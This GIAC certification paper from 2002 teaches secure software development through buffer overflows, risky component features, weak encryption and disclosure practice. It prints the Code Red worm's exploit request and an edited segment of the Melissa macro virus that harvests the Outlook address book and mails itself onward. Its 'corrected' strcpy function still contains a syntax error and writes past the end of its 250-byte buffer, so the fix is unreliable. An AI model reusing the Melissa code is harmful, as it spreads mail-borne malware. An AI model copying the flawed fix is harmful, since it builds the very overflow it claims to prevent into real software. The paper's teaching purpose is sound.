Global Information Assurance Certification Paper

Developing Secure Software

Practices and considerations to help avoid common security vulnerabilities

Joshua Tolley February 25, 2002 GSEC Practical Assignment 1.3

Computer vulnerabilities come from an enormous array of sources that grows larger and more diverse with each new attack and every new software patch. One compromised system may be poorly configured, allowing a remote attacker to break in and gain privileged access, another system might be running malicious software inadvertently installed by an unsuspecting user, and yet another may simply be physically stolen from its owner. Of all possible causes for computer vulnerabilities, the problem of poorly written software is arguably the most difficult to predict, control, or fix. Such software problems are particularly open to automated attack, often by internet "worms." These so-called "worms," or software that spreads automatically from one computer to another, spreading by exploiting some vulnerability, are easy to find using simple internet search engines. The growing popularity of such programs among both virus writers and young would-be hackers, or "script-kiddies," causes new and more critical security issues every day. As hacking tools and software become more and more available, even those with little to no technical skill can cause serious problems for developers and software users alike, effectively demonstrates the need for better programming practices in the developer community.

Application and scope:

Perhaps the most pervasive and least obvious problem among software developers, as in all other fields, is the sheer scope of the issue. Many people automatically equate computer security solely to network security, and therefore assume that programs that do not involve network communication are by that very fact immune to security flaws. I recently completed the initial versions of a project designed to simplify medical clinical data harvesting. Although this software uses network communication extensively, the one major security hole I've found to date was entirely unrelated to the network aspect of the program. In the first beta release of the software, the user could, intentionally or inadvertently, run script code of his or her choice on the database server. Not through a network hole or an encryption weakness, but simply because certain input was converted into interpreted script, with no checking as to the validity or effect of the script. Because of the widespread possibility for security problems, any developer writing software that targets any computer or any network must take security into consideration.

Similarly persistent and erroneous is the idea that "it can't happen to me." As has been shown time and time again, hiding behind one's relative insignificance, or "security by obscurity," is really no security at all. An article by Bruce Perens, for example, tells of a programmer who noticed a weakness in the encryption used by a certain spreadsheet program. The programmer broke the encryption, wrote an application to demonstrate the weakness, and then, as any ethical programmer under such circumstances should do, informed the software manufacturer of the flaw. Rather than respond by fixing the problem, however, the software company threatened the programmer with lawsuits if he revealed the weakness, or even mentioned to anyone that the program *had* a weakness. The problem however, says Perens, is that the software company "did not consider that someone else might have already broken the spreadsheet code *without* telling the manufacturer, and might already be using the technique to eavesdrop on some rich corporation's secrets."[1] Many developers, if they consider security at all, live in fear of the day when some programmer with time to kill will find the flaw they didn't want to take the time to fix in the program they just released.

Another very recent example comes from IDG.net, in a story posted on February 8, 2002, telling of a hacker who apparently obtained a sales leads database from a broadband communications company by simply downloading it from an unlisted page on the company's web site. Apparently the site administrators assumed that because the site contained no links to the particular page, it would remain safe without further security. "We thought our sites were secure and that our databases were secure," said a company spokesperson. "We're investigating how we can make our system more secure."[2]

Development mistakes and oversights:

THE BUFFER OVERFLOW: Easily the most well-known and widespread programming mistake leading to security compromise is the buffer overflow. Easy to overlook and potentially disastrous for the unsuspecting owner of the software, the buffer overflow can allow an attacker to run code of his or her choice on the victim's computer. To understand the most common buffer overflow situation, one must understand the string data type, as first implemented in C. C strings consist of an area of memory one byte longer than the size of the string it contains. A pointer used to keep track of the string points to the beginning address in the memory block, and a null character (ASCII code 0) marks the end of the string, and fills the extra byte allocated. Look at the following code, written in C:

```
void ShowOverflow(char *inputBuffer)
{
     char outputBuffer[250];
```

```
// Copy the inputBuffer string into the outputBuffer string
     strcpy(outputBuffer, inputBuffer);
// Do something with the string
}
```

In this code, a pointer to a string is passed to the function `ShowOverflow()`. The contents of that string are then supposed to be copied to the array `outputBuffer`. But one must look closely at the function `strcpy()`. Notice that it takes as arguments two mere pointers. Nothing about the pointer reveals anything of the length of the memory block associated with that pointer, nor even if any memory is associated with the pointer. So `strcpy()` simply loops through each byte sequentially, starting from the source pointer, until it reaches the null character that indicates the end of the string. It never checks to see what memory it is overwriting, nor even if the input string *has* a null character in it somewhere. If the string in `inputBuffer` does not exceed the 250 characters allocated for `outputBuffer`, no problem should arise. However, if the source string is longer than the allocated buffer, `strcpy()` will simply write past the end of the allocated memory into unknown territory. In some circumstances this may lead to the program attempting to write into protected memory, causing an exception. On some platforms, such as the Palm OS, where memory is very closely managed, this code will always cause an exception when the input string is too long. On most platforms, however, pointers are not so closely controlled, and it is simple for a program to write wherever it wants in the stack.

The immediate implications of such an error are obvious: if the user is lucky, the area of memory at the end of the allocated block won't be vital to the system, and nothing particularly serious will occur. However, in a large number of cases, this will overwrite important data, causing whatever is running on the system to malfunction. In other cases, the "extra" bytes may end up getting interpreted as executable code. Thus if an attacker can determine the length of the allocated buffer, or even just get a lucky guess, he or she can execute arbitrary code on the victim computer.

The Code Red family of worms is a good current example of a buffer overflow. In mid-July 2001, network administrators began noticing their web server logs filling up with HTTP GET requests that looked like the following:

```
GET/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%
```

```
u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b
%u53ff%u0078%u0000%u00=a HTTP/1.0
```

As it turned out, this crafted HTTP request was an efficient exploit for a vulnerability in Microsoft's Internet Information Server Indexing Service, discovered a month earlier by eEye Digital Security (www.eeye.com). The worm wreaked havoc on the internet, jamming internet traffic worldwide as it spread from one vulnerable server to another. As stated by Sam Costello of IDG News Service, 11 percent of IIS servers showed signs of infection by Code Red's more harmful successor, Code Red II[3]. A few months later, the Nimda worm again crippled internet traffic for a few days as it spread from server to server exploiting a old IIS vulnerability as it searched for back doors left by Code Red II.

Fortunately for the programmer, such software problems are easy to fix. In fact, they are so common that many programming languages have implemented replacements to their `strcpy()` and equivalent commands to account for the possibility of buffer overflows. A simple conditional check would see if the length of `inputBuffer` in the function above is longer than the allocated 250 bytes. There follows a corrected version of the function:

```
void ShowOverflow(char *inputBuffer)
{
     char outputBuffer[250];

     if {strlen(inputBuffer) > 250)
     {
          memcpy(outputBuffer, inputBuffer, 250);
          outputBuffer[250] = '\0';
     }
     else strcpy(outputBuffer, inputBuffer);
// Do something with the string
}
```

This corrected function will copy up to 250 characters from `inputBuffer` into `outputBuffer`, and fix the possibility of a buffer overflow.

"TOO MANY FEATURES": Often software developers and software users form two completely different groups. The developer thinks constantly of improving the software, mainly by adding features and functionality or improving existing aspects of the program. The user, on the other hand, often views software from a much more static perspective: "I can't change the software myself, so I'll figure out how to use it best," thinks the average user. Thus a new user spends some time initially getting used to the software and finding the best ways to have it suit his particular needs, and once those habits are fixed and those methods decided upon,

the user mostly ignores every aspect of his or her new software, using only those features and functions with which he or she is familiar. Thus, if the developer releases a new version with new features and enhancements, the user may spend a few moments glancing over the list of improvements and, unless one item on the list particularly strikes his fancy, go back to using the software the same way as before.

Most of the time this causes few problems, but in some cases this can lead to certain issues. For example, a favorite feature among developers is the ability to customize a program, either through skins, scripts, or other user-definable methods. However often more power is given the user than the developer intends. For instance, as Java applets became popular in web pages, people realized that since Java allowed access to much more than just the web page in question, it could be used to write malicious code. Not only that, the malicious applet would run on any Java-enabled computer, independent of hardware or operating system (in theory, anyway). Developers of web browsers have been trying to close those holes ever since.

As if that weren't already enough of a security problem, Microsoft, in an effort to ease development by third-parties of software that used parts of or integrated with Microsoft software, developed the concept of COM and ActiveX programming. In a nutshell, this extended the idea championed by object-oriented programming (OOP) several years before: code reuse. Just the same as in OOP a developer can take an object written by someone else and plug it in to his or her program without much or any knowledge of the object's internal workings, COM and ActiveX allow programmers to take what amount to full-fledged programs, complete with user interface, and plug them into their software. Thus today, a programmer can use the Microsoft Office ActiveX controls and write a program that controls email using the MS Outlook control, queries databases using the MS Access control, displays web pages using the Internet Explorer control, and runs scripts using the Microsoft Script control. Third party software can even manipulate objects such as the Outlook address book with no knowledge whatsoever of how the address book actually functions, by simply implementing an ActiveX control. All this easy access, though, provides for massive security holes.

In March of 1999, an email worm known as the Melissa virus began clogging email servers around the world. The virus uses the macro scripting feature built in to Microsoft Word 97 and later versions to create an instance of the ActiveX object `Outlook.Application`, and use it to read the user's address book and send copies of itself to the first 50 email addresses listed. It also infects the `NORMAL.DOT` file that Word uses to define a new document, causing all new documents to be infected. As a demonstration of just how simple this worm really is, here is an edited segment of the actual code[4]:

```
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
// ... some code removed
  If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
         BreakUmOffASlice.Body = "Here is that document you asked for
... don't show anyone else ;-)"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y
    DasMapiName.Logoff
  End If
```

As this code segment shows, with a basic knowledge of ActiveX programming and macro scripting any programmer can create a virus that will infect millions of computers simply because Microsoft included more functionality in its macro scripting language than was necessary.

Many other examples of such vulnerabilities could be given, but enough has been shown to demonstrate that care and caution must be exercised by developers racing to add features and flexibility. What practical reason might anyone have to allow users to access the `Outlook.Application` ActiveX component and all its associated functionality from a Word document macro? In the early days of computing when each program was a distinct entity, for the most part entirely separate from all other programs, no feature of one program could easily combine with a feature of another for better or for worse, so programs were used more or less exactly as they were intended. With the advent of component programming, just as much as he or she needs to check source code for memory leaks, un-initialized pointers, and the like, the modern developer must also check for unforeseen combinations of components and features that could cause vulnerabilities. If a particular program spawns a process to execute a particular file, for example, does it also check to see that the file is indeed what it is supposed to be? If a string input by the user tells the computer to get data from a certain location (for instance, a database query), does the user have the right to get that data from that location? All these considerations must be

addressed during development to avoid potentially major catastrophes later on.

Along those same lines, developers must avoid giving unnecessary functions and features to their program, meaning features that are meaningless in the scope of the software, such as the capability to send email from a macro in a Word document. Components cannot simply be "plugged in" to software and allowed to run uncontrolled, but must be checked and used only for their intended purpose, to avoid serious problems from some creative attacker.

WEAK ENCRYPTION: Another obvious programming deficiency surfaces in the "new exploit" lists with surprising frequency. It seems that every week or two, another server or program will be found to use weak encryption or even no encryption at all to store sensitive data. Even large, established software vendors with significant technical experience and resources are caught storing passwords and other sensitive data with weak or sometimes no encryption. A quick search for "weak encryption" in the Neohapsis vulnerability archive returned 333 results at the time of this writing, up ten from two weeks earlier[5]. Users might be surprised to search their computer's registry or configuration files for passwords they commonly use; who knows which program might have stored them as plain text, hoping for "security through obscurity"?

Encryption has long been a field of mystery to most programmers. After seeing long, involved postings of new encryption methods developed by mathematics PhD's, most programmers shy away from trying to implement decent encryption for fear of having to actually understand bit by bit what goes on in the heart of 3DES or Blowfish or other encryption algorithms. Yet a simple internet search will provide freely-available encryption code in many programming languages and using many encryption algorithms. For the more mathematically inclined, a similar search will provide descriptions of the same algorithms broken down step by (agonizing) step.

To implement good encryption, then, the developer must only find the appropriate algorithm. Unfortunately that might take a little work. Cryptology has provided ample ground for all interested researchers for many years, and the resulting field of algorithms is widespread. Basically, there exist two main types of encryption algorithms: block and stream. Block encryption algorithms break the plaintext, or unencrypted, data into segments which it then encrypts. Stream encryption, on the other hand, encrypts data byte by byte. Block encryption is generally easier to implement in software, whereas stream encryption is good for hardware implementations and often necessary for voice or video applications where data is by nature streamed.

The other major area of concern is cipher strength, or the ability of the encryption algorithm to withstand attacks of various kinds. Many people are surprised to learn that DES (Data Encryption Standard)

encryption, first proposed in the 1970's[6] and the mostly widely used encryption algorithm in the world, is generally considered insecure. Any encryption algorithm is vulnerable to some extent to brute force attacks, or attacks where every possible encryption key is guessed and tried until the right one is found, but DES is also vulnerable to other kinds of attacks. As stated by Jim Bidzos, president of RSA Data Security, "we are quickly reaching the time when anyone with a standard desktop PC can potentially pose a real threat to systems relying on [DES]." [7]

In an effort to set the standard for modern encryption, the US National Institute of Standards and Technology (NIST) sponsored a world-wide contest to develop what is now known as the Advanced Encryption Standard. NIST eventually adopted a block cipher developed by a Belgian team, known as the Rijndael algorithm. Use of the algorithm is royalty-free, and reference code is available on the internet. The AES cipher is probably suitable for most encryption applications where a block cipher can be used, and (for the time being) is considered secure.

INTELLIGENT TECHNICAL SUPPORT: Though it may seem that technical support has little to do with the development of secure software, it is an important consideration for all who intend to write and distribute software. Too frequently, as in the example of the spreadsheet software company earlier, software vendors try to avoid fixing problems revealed by those who submit bug reports. A debate persists in the security world about how security problems should be reported; obviously someone who finds a vulnerability should inform the software vendor, but the conflict arises over what to do next: tell the world or keep it quiet. Proponents of the first option generally argue that everyone using insecure software should be duly warned and instructed about problems they might face. Opponents typically categorize releasing information about exploits alongside aiding and abetting the enemy, giving hackers everything they need to create all the exploits they want.

Typically in an attempt to form a compromise, those who find vulnerabilities report their find immediately to the software vendor, and submit the exploit to public lists only after giving the vendor adequate time to verify and respond to the problem. In an attempt to standardize error reporting, Steve Christey and Chris Wysopal have developed what they call the "Responsible Disclosure Process,"[8] an Internet Engineering Task Force (IETF) Internet Draft. The draft, available in its entirety at http://www.ietf.org/internet-drafts/draft-christey-wysopal-vuln-disclosure-00.txt, proposes among other things, security "coordinators" who could act as liaisons between software vendors and security experts, as well as standard methods and rules for software vendors to accept bug reports. The report gives software vendors seven days to respond to new bug postings, after which the vendor should post regular updates and status reports until a problem is resolved.

To write software that starts secure and stays secure, a developer must allow his or her users to help find problems, and acknowledge vulnerabilities when they are reported. Too many developers have exacerbated security issues by brushing off reports of software flaws. Developers must remember the old adage, "The customer is always right," and responsibly work to resolve any problems with software he or she creates.

Conclusions:

The world of the software developer changes dramatically over very short periods of time. With computers available across the world and the internet growing rapidly to connect them all, many new opportunities for new applications arise daily, as do new exploits and vulnerabilities. The modern programmer must undertake the responsibility to not only provide software that performs well on its own, but that functions well with other software, without creating vulnerabilities in the systems and networks running the software. Only through intelligent planning and thorough testing can a programmer fulfill this duty. The particular problems introduced in this document are only a sample of the more common errors made by programmers; every developer should spend time further studying trends among hackers and exploits, new security tactics, and emerging technologies to avoid creating problems.

---

[1] Perens, Bruce. "Why Security-Through-Obscurity Won't Work" SlashDot, July 20, 1998 URL: http://slashdot.org/features/980720/0819202.shtml

[2] Weiss, Todd R. "Comcast Business Communications site shut after hacker exposes data" February 8, 2002. URL: http://www.idg.net/ic_807653_5055_1-2793.html

[3] Costello, Sam. "One in Nine IIS Servers Compromised, Survey Says" IDG News Service, November 5, 2001 URL: http://www.idg.net/crd_iis_734728_103.html

[4] URL: http://packetstorm.widexs.nl/9903-exploits/melissa.macro.virus.txt

[5] Neohapsis Archives, URL: http://archives.neohapsis.com

[6] Rudolph, Dave. "Development and Analysis of Block Ciphers and the DES System" 2000 URL: http://members-http-6.rwc1.sfba.home.net/dave.t.rudolf/prog/crypto/

[7] RSA Data Security Conference. "Distributed.Net and Electronic Frontier Foundation (EFF) DES Challenge III Broken in Record 22 Hours" January 19, 1999 URL: http://www.eff.org/Privacy/Crypto_misc/DESCracker/HTML/19990119_deschallenge3.html

[8] Steven Bonisteel, "Disclosure Guidelines For Bug-Spotters Proposed" The Washington Post, February 21, 2002 URL: http://www.newsbytes.com/news/02/174683.html